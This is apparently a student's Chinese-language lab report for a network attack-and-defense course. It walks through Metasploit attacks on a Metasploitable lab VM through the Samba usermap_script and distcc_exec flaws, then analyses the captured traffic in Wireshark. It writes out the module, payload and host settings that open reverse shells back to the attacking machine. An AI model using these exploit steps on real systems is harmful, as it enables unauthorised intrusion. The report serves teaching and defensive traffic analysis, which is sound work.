20252902 2025-2026-2 《网络攻防实践》第7周作业

(1)使用 Metasploit 进行 Linux 远程渗透攻击

任务:使用 Metasploit 渗透测试框架,攻击 Linux 靶机上的 Samba 服务 usermap_script 漏洞,获得目标 Linux 靶机的远程 Shell,并检查获取到的权限。主要步骤包括:

①启动 Metasploit 控制台;

②加载 exploit/multi/samba/usermap_script 攻击模块;

③选择合适的 Unix 反向连接 Shell 载荷;

④设置攻击机 IP、靶机 IP、监听端口等参数;

⑤执行渗透攻击;

⑥进入目标 Shell,查看当前用户身份和目标主机网络信息。

(2)实践作业:攻防对抗实践

攻击方:使用 Kali 中的 Metasploit,对 Metasploitable 靶机中存在的漏洞进行渗透攻击,获取远程控制权限。

防守方:使用 Wireshark 监听并分析攻击流量,识别攻击者 IP、目标 IP、目标端口、攻击发起时间、利用漏洞、连接过程以及成功后在命令行中输入的内容。

2.实验过程

本次实验使用 Kali 和 Metasploitable 两台虚拟机,二者处于同一网段,实验环境信息如下表所示:

名称 IP 地址 MAC 地址 角色
Kali 192.168.190.130 00:0C:29:CD:4A:26 攻击机
Metasploitable 192.168.190.131 00:0C:29:19:B8:26 靶机/防守抓包环境

Kali 端通过 ifconfig 查看本机网络配置,确认攻击机 IP 为 192.168.190.130

Metasploitable 端通过 ifconfig 查看靶机网络配置,确认靶机 IP 为 192.168.190.131

2.1 使用 Metasploit 进行 Samba 远程渗透攻击

首先在 Kali 中打开终端,输入 msfconsole 启动 Metasploit 框架。启动成功后可以看到 Metasploit 版本、模块数量等信息,说明控制台已正常进入。

在 Metasploit 控制台中输入 use exploit/multi/samba/usermap_script,加载 Samba 服务 usermap_script 漏洞利用模块。该漏洞利用的是 Samba 用户名映射脚本中的命令注入问题。

随后输入 show payloads 查看当前模块支持的载荷。实验中选择 Unix 命令 Shell 的反向连接载荷,便于攻击成功后由靶机主动回连 Kali。

设置攻击载荷为 cmd/unix/reverse,命令为 set payload cmd/unix/reverse。该载荷会在目标主机上执行命令并建立反向 Shell。

继续设置攻击参数:set LHOST 192.168.190.130 指定 Kali 攻击机地址,set RHOST 192.168.190.131 指定 Metasploitable 靶机地址。之后输入 show options 检查参数,确认 RHOSTS192.168.190.131RPORT 为 Samba 默认端口 139LHOST192.168.190.130,监听端口为 4444

输入 exploit 执行攻击。终端显示反向 TCP 处理器已启动,随后出现 Command shell session 1 opened,说明 Kali 成功接收到靶机回连。进入 Shell 后输入 whoami,结果为 root,说明本次 Samba 漏洞利用获得了靶机的最高权限。

2.2 攻防对抗实践 #### 2.2.1 攻击方操作 完成 Samba 漏洞利用后,继续选择 Metasploitable 中的另一个漏洞进行实践。本次选择 `exploit/unix/misc/distcc_exec` 模块,该模块针对 distcc 服务的远程命令执行漏洞进行利用。

在 Metasploit 中输入 use exploit/unix/misc/distcc_exec 加载模块,并通过 show payloads 查看支持的载荷。

实验中选择 cmd/unix/reverse 作为攻击载荷,并设置参数:

set payload cmd/unix/reverse

set LHOST 192.168.190.130

set RHOST 192.168.190.131

再输入 show options 检查参数,可以看到目标端口 RPORT3632,这是 distcc 服务常用端口。

确认参数无误后输入 exploit 执行攻击。控制台显示反向 TCP 处理器启动,并出现 Command shell session 1 opened,表示靶机成功回连到 Kali。

进入 Shell 后输入 ifconfig 查看靶机网络信息,确认当前 Shell 位于 192.168.190.131 的 Metasploitable 主机上。随后输入 whoami,回显为 daemon,说明本次通过 distcc 漏洞成功获得了靶机上的 daemon 用户权限。

2.2.2 防守方抓包与分析

在攻击执行过程中,使用 Wireshark 对 eth0 网卡进行抓包。通过过滤条件 tcp.stream eq 2 查看本次攻击建立后的 TCP 会话,可以看到通信双方分别为:

项目 内容
攻击者 IP 192.168.190.130
目标 IP 192.168.190.131
攻击利用端口 3632
Shell 回连端口 Kali 监听 4444,靶机使用临时端口回连
攻击发起时间 2026-04-28 05:02:12 -0400(Metasploit 回显时间)
攻击利用漏洞 distcc 远程命令执行漏洞
获得权限 daemon

Wireshark 抓包窗口中可以看到 192.168.190.130192.168.190.131 之间的 TCP 报文。Follow TCP Stream 窗口中还原出了攻击成功后的命令行交互内容,包括 ifconfigwhoami 以及 daemon 用户回显。这说明防守方可以通过抓包分析攻击链路和攻击成功后的操作。

从数据包内容看,攻击者首先利用目标 3632 端口上的 distcc 服务建立连接,随后通过反向连接方式在 Kali 的 4444 端口获得 Shell。攻击成功后,攻击者在命令行中查看了靶机 IP 地址和当前用户身份。

3.学习中遇到的问题及解决

(1)实验开始时需要先确认两台虚拟机处于同一网段,否则 Metasploit 无法正常连接靶机。通过分别在 Kali 和 Metasploitable 中执行 ifconfig,确认 Kali 地址为 192.168.190.130,靶机地址为 192.168.190.131,二者网络连通条件满足实验要求。

(2)在 Metasploit 中设置参数时,需要区分 LHOSTRHOSTLHOST 是攻击机用于监听反向连接的地址,RHOST 是被攻击靶机地址。如果这两个参数填写错误,即使模块和载荷选择正确,也无法成功建立 Shell。

(3)在 distcc 实验中,获得的权限为 daemon,不是 root。这说明不同漏洞利用后获得的权限与目标服务运行身份有关,需要结合 whoami 的输出判断攻击结果。

(4)在 Wireshark 分析时,直接查看全部数据包不够直观。通过 TCP Stream 跟踪功能,可以把同一次连接中的命令交互还原出来,更容易分析攻击者输入过哪些命令。

4.学习感想和体会

通过本次实验,我对 Metasploit 漏洞利用流程有了更完整的理解。一次成功的渗透攻击并不只是执行 exploit,还需要先确认网络环境、选择正确模块、配置合适载荷,并在攻击后验证当前权限。

同时,通过 Wireshark 对攻击流量进行分析,我认识到防守方可以从网络通信中还原很多关键信息,例如攻击者 IP、目标 IP、端口、会话内容和攻击成功后的命令操作。攻击和防守结合起来看,能够更清楚地理解漏洞利用的全过程,也提醒我在实际网络环境中要重视服务暴露、权限控制和流量监测。

posted @ 2026-04-30 18:12  lujinyu  阅读(13)  评论(0)    收藏  举报